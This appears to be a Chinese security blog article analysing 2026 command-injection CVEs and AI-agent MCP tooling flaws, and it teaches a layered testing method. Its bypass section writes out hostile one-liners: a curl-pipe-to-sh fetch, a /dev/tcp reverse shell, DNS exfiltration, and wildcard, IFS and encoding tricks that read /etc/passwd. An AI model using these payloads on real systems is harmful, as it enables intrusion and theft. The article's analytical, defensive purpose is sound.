命令执行的2026年真相:你拼接进去的字符,和最终执行的命令,不是同一个东西"

admin 2026-11-10 16:28:51 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

命令执行的2026年真相:你拼接进去的字符,和最终执行的命令,不是同一个东西

原创

www.klsec.com
www.klsec.com

昆仑AI安全实验室

2026年11月10日 00:49
广东

去阅读

2026年9月28日,ManageEngine DDI Central披露了一个命令注入漏洞,CVE-2026-12267。VulDB的分析写得极其精确:Windows DNS查询解析策略的“名称”字段,用户输入在没有充分净化和验证的情况下,被直接拼接到命令行参数中,传入shell执行上下文。分号、管道符、与号,没有被转义,也没有被限制。攻击者可以在策略名称里注入任意操作系统命令,以应用进程的权限执行。DDI Central通常以服务账户运行,而这个账户为了管理DNS,往往在底层Windows服务器上拥有管理员权限。一个“策略名称”字段,通向的是整台主机的完全控制。

这个漏洞的教学价值,不在于“又一个CWE-78”。它精确地展示了2026年命令执行漏洞的核心结构:你拼接进去的“数据”,和最终变成“命令”的那个东西,不是同一个东西。 你以为在往一个字符串里填入一个名称,shell把它当成了语句分隔符。你以为escapeshellarg()把Payload包好了,双引号让$()在包裹内部仍然被展开。你以为MCP工具的command参数只是一个配置值,运行时把它当作可执行文件路径直接交给了execSync。你以为Windows CMD的单引号能阻止命令解释,CMD不认单引号。

2026年的命令执行,几乎全部发生在“拼接的语义”和“执行的语义”之间的那条缝里。

一、传统Web层:转义函数没有错,错的是它被用在了错误的语义边界上

传统Web应用的命令注入,2026年的CVE清单说明,“没有做转义”已经很少见了。更常见的形态是:转义函数被调用了,但它转义的东西,和执行层理解的东西,不是同一个层级。

Nextcloud的Collabora Online内置CODE Server,CVE-2026-110447,是这个模式最精确的标本。proxy.php把$_SERVER['REQUEST_URI']传入一个bash -c \"...\"命令,通过exec()执行。代码用了escapeshellarg()。但escapeshellarg()的输出被包在双引号里面。escapeshellarg()转义的是“这个参数在shell参数层面的边界”,它把特殊字符用反斜杠转义,让shell把它当作一个普通字符串。但双引号内部,$( )仍然处于“命令替换”的上下文中。 攻击者提交$(id),escapeshellarg()把它转义成'$(id)'或者\\$\\(id\\)的某种形式,但外层的双引号让$(id)仍然被shell解释为“执行id命令,把输出替换到这里” 。转义函数做了它该做的事,但它做事的层级(shell参数)和执行层解释的层级(双引号内的命令替换)不一致。一个不需要认证的请求,在CODE server未运行(重启、崩溃或升级之后)的窗口里,以Web用户权限执行任意命令。

Rundeck的CVE-2026-106056走的是操作系统语义差异这条缝。CLIUtils.quoteWindowsCMDArg()用单引号包裹参数,试图阻止命令解释。在Unix shell里,单引号确实会阻止一切展开。Windows CMD不把单引号当作引用字符。 攻击者注入&&或|,单引号包裹之后,CMD看到的仍然是&&和|,仍然把它们解释为命令分隔符和管道符。注入的命令以节点执行器凭证的权限运行,可能是SYSTEM。转义函数没有“写错”。它错在用一个Unix shell的引用语义,去防御一个Windows CMD的执行上下文。

ManageEngine的CVE-2026-12267更朴素:拼接时没有对分号和管道符做任何处理。输入直接进入shell执行上下文,shell把它理解成了“命令结束,开始下一条命令”。这不是“转义不够强”,是根本没有在拼接和执行之间建立任何语义屏障。

二、基础设施层:登录跳转失败、Ping载荷、十个漏洞的链式执行

命令执行在基础设施层的形态,2026年最值得拆解的是两条链。

CWP2Shell把十个Control Web Panel漏洞串联成了一条无需认证、仅凭一个有效托管账户名、直达root的链。第一条缝在登录逻辑里:一个未能终止执行的重定向。认证失败后,代码发送了重定向,但没有exit()。执行继续流入用户面板的模块。这些模块里存在文件包含、任意文件写入和命令注入。攻击者获得托管用户权限后,再利用root拥有的loopback API(CVE-2026-77877,缺少认证)和数据库恢复/令牌验证中的root命令注入(CVE-2026-77878、CVE-2026-104080),完成提权。VulnCheck在CWP 1.30中验证了全部十个修复,但之前1.29的修复是逐模块、不完整的——同一个共享的认证边界没有被整体修复,早期针对某个模块的修复没有覆盖到所有依赖它的路径。

Weaver E-cology的CVE-2026-22679是一条未认证RCE,CVSS 9.8。端点/papi/esearch/data/devops/dubboApi/debug/method是生产构建里遗留的调试接口。攻击者控制的interfaceName和methodName JSON参数到达Dubbo RPC调用器,解析为com.weaver.rpc.InvokeCommand和executeCommand,输入直接传给操作系统,没有认证,没有校验。Vega的研究团队捕获到了完整的利用后行为:Ping回调侦察、三次失败的EXE投递、伪装成nvm.exe的编码PowerShell下载、以及一个命名为目标软件和攻击日期的MSI载荷(fanwei0324.msi)。最早的证据在2026年3月17日,比Shadowserver首次公开在野报告早14天,比厂商补丁发布晚5天。攻击者不是“不知道补丁存在”。他们是在补丁发布后的窗口里,批量扫描未升级的实例。

Citrix NetScaler的CVE-2026-88771是一条预认证root命令执行,CVSS 9.5。攻击者通过admautoregd守护进程处理的恶意日志条目,在认证之前以root执行命令。SOCRadar识别到了一个叫NetScaler C2的利用框架,自动化侦察、版本检查、利用、Agent部署和操作员命令执行。已报告的IoC包括C2地址45.143.130[.]195和Agent路径/tmp/.nsagent,支持HTTP轮询和DNS回调。LevelBlue观测到了Python和Perl载荷,用于修改设备组件、创建超级用户、安装伪装的PHP WebShell、以及配置窃取。这条链的入口是一个日志条目,出口是root权限的持久化Agent。

三、AI工具链:MCP的“command”字段,是一个没有沙箱的execSync调用

2026年命令执行增长最快的攻击面,在AI Agent和MCP工具链里。这里的“命令注入”不是传统Web参数拼接,而是 “工具配置里的一个字段,被运行时当作可执行文件路径直接执行” 。

PentestAgent的MCP HTTP服务器默认绑定在8080端口,没有认证、没有TLS、没有访问控制中间件。它暴露了run_task、update_config、get_conversation_history等工具端点。通过run_task,任何网络客户端可以指令LLM驱动的Agent在宿主上执行任意shell命令。LocalRuntime使用的是asyncio.create_subprocess_shell,没有沙箱。攻击者不需要“绕过”任何东西。服务器把执行能力直接暴露给了网络,而“认证”这个环节不存在。

PraisonAI的CVE-2026-41497是“修复不完整”的典型。4.6.9之前的版本对MCP命令处理做了“修复”,但parse_mcp_command()没有添加命令允许列表或参数验证。bash、python、/bin/sh以及带内联代码执行标志的参数,可以直接通过到子进程执行。CVSS 9.8。修复没有在“command”字段和“exec”之间建立语义屏障,它只是换了另一个地方让同样的输入到达同一个sink。

Agent Zero的CVE-2026-30624把这条缝放在“External MCP Servers配置”里。应用允许用户用JSON配置定义MCP服务器,包含任意的command和args值。这些值在配置被应用时执行,没有足够的验证或限制。攻击者提供一个恶意MCP配置,以Agent Zero进程的权限执行任意OS命令。Flowise的CVE-2026-69255则展示了代码注入到命令执行的完整桥:CSV Agent把base64String直接插值进一个Python字符串字面量,base64_string = \"${base64String}\"。一个包含闭合双引号和Python代码的字符串,打破了字符串上下文,执行任意Python。Pyodide的js桥提供了对宿主Node.js进程的访问,process.mainModule.constructor._load('child_process')加载child_process,.execSync('CMD')以root执行。一个经过验证的Meterpreter root会话被建立。这里的“命令执行”不是shell拼接,是一层语言(JavaScript模板字面量)的注入,穿过Pyodide桥,到达另一层语言(Python)的exec,再到达OS的execSync。每一层都以为上一层的输出是“数据”,而下一层把它当成了“代码”。

四、绕过层的2026年:长度预算、通配符、编码链,核心是“让过滤器看不到执行层看到的那个东西”

当注入点存在但WAF或长度限制挡在前面时,2026年的绕过技术已经形成了一套按“字符预算”排序的工程化目录。

在32字符的硬限制下,;sleep 5是8个字符,用于时间盲测。;nslookup \\whoami.x.tld大约25个字符,用于DNS外带。;curl x.tld/s|sh是16个字符(需要一个极短的攻击者域名),用于拉取并执行远程脚本。一个交互式反弹shell;bash -i >& /dev/tcp/x.tld/443 0>&1需要33个字符,超过32字符预算,在硬限制下不可用。

通配符缩减是长度和关键词双重绕过的主力。/???/c?t /etc/p?sswd是11个字符,shell把?展开为任意单字符,*展开为任意序列。过滤器看不到cat,也看不到passwd。shell在展开时才看到真实的路径。当过滤器匹配的是“子串”而shell执行的是“展开后的路径”时,通配符把两者的视野分开了。

IFS替换是最可靠的空格绕过。$IFS默认展开为空白,但不出现在WAF的空格签名里。cat${IFS}/etc/passwd在WAF看来是一个没有空格的字符串,在shell看来是一条带空格的命令。编码链——hex、base64、八进制、双重URL编码——用来在“字符层面”绕过基于签名的过滤器。一个$(echo -e \"\\x63\\x61\\x74...\")在WAF看到的是echo和一串十六进制,shell展开后是cat。换行符%0a 作为命令分隔符,经常成为扫描器的“行边界”,WAF扫完第一行认为无害,shell继续执行第二行。

这些技术的共同逻辑是:过滤器和执行层对“同一个字节序列”的理解不一致。 过滤器看到的是字面字符串,执行层看到的是展开、替换、解释之后的结果。绕过不是“打破过滤器”,是构造一个过滤器无法预测其执行语义的输入。

五、测试方法论:从“找system”升级为“追踪数据在哪一层变成了代码”

2026年的命令执行测试,核心问题不是“哪个函数调用了shell”。是 “用户输入经过了哪些层,每一层把它当作什么,最终哪一层把它当成了可执行语义” 。

第一,先问“执行的位置在哪里”,再问“输入来自哪里”。 DDI Central的执行位置在shell,输入来自DNS策略名称字段。Nextcloud的执行位置在bash -c,输入来自REQUEST_URI。Flowise的执行位置在Node.js的execSync,输入来自Python的exec,而Python的输入来自JavaScript模板字面量的注入。执行的位置决定了“什么算代码”,而这个“什么算代码”的定义,往往和上一层的“什么算数据”不是同一个东西。

第二,把转义函数放在“层级”的框架里评估,而不是“有没有调用”的框架里。escapeshellarg()在shell参数层面是正确的,但把它放进双引号,$( )仍然活跃。quoteWindowsCMDArg()在Unix shell语义里是正确的,但Windows CMD不认单引号。转义函数的安全性,取决于它被应用的那个层级,和执行层解释的层级,是不是同一个。

第三,在AI工具链里,把“配置字段”当作“潜在的命令行”来测。 MCP的command、args、env,Agent的“工具定义”,CSV Agent的“数据文件”——这些在传统Web测试里被当作“配置”或“数据”的东西,在AI运行时里经常被直接交给子进程或解释器。PentestAgent的run_task、Agent Zero的MCP配置、PraisonAI的parse_mcp_command、Flowise的base64String插值——每一个都是“看起来不是代码”的入口。

写在最后

2026年的命令执行,不是在“应用层”被发现的。它们出现在DNS策略名称的拼接里,在escapeshellarg()和双引号之间的层级错位里,在Unix单引号和Windows CMD的语义差异里,在登录重定向后没有exit()的那一行代码里,在MCP配置的command字段被直接execSync的那一刻里。

每一次RCE,都不是“有人写了一个system()”。是“一层把某个东西当作数据拼接进去,另一层把它当作代码执行了”。 转义函数没有错,它只是在错误的层级上做了正确的事。配置字段没有错,它只是一个字符串,直到运行时把它当成了可执行路径。通配符和编码链没有“打破”WAF,它们只是让WAF看到的字节序列,和shell执行的语义,分道扬镳了。

测试命令执行时,不要只问“这里有没有shell”。问:这个输入经过了哪些层?每一层把它当作什么?最终执行它的那一层,和上一层做转义/过滤的那一层,对“什么是数据、什么是代码”的理解,是不是同一个东西? 缝就长在那个“不是同一个东西”的地方。

严正声明

本文所述所有命令执行漏洞分析、CVE案例及测试技术,仅用于已获得明确书面授权的安全测试、代码审计、红队演练和安全研究场景。CVE-2026-12267(ManageEngine DDI Central)已在6201版本修复;CVE-2026-106056(Rundeck)已在6.2.0修复;CVE-2026-110447(Nextcloud richdocumentscode)已在26.4.303修复并列入CISA KEV;CVE-2026-94434(Pardus Boot Repair)已在1.0.9修复;CWP2Shell相关漏洞应在CWP 1.30或更高版本中修复;CVE-2026-88771(Citrix NetScaler)已由Citrix发布紧急更新;CVE-2026-22679(Weaver E-cology)已在20260312构建中修复;PentestAgent的MCP HTTP服务器暴露、CVE-2026-41497(PraisonAI)、CVE-2026-30624(Agent Zero)、CVE-2026-69255(Flowise)的验证必须在授权范围内进行,并及时更新至修复版本或实施网络隔离。未授权扫描、测试、攻击行为违反《中华人民共和国网络安全法》第27条及《刑法》第285条,将承担法律责任。技术无罪,边界是法律。

    端到端管线成功率只有31%——你让新手直接上“全自动”,等于让他直接体验69%的失败,而他还不知道那69%里有多少是AI的锅" 网络安全文章

    端到端管线成功率只有31%——你让新手直接上“全自动”,等于让他直接体验69%的失败,而他还不知道那69%里有多少是AI的锅"

    PentestEval研究表明端到端AI渗透测试成功率仅为31%,失败原因在于管线静默跳过测试阶段,导致失败不可见。新手应从可归因的失败中学习,而非依赖全自动工具。建议从部分自动化开始,要求AI提供详细台账,并利用人在回路进行判断学习。
    评论:0   参与:  0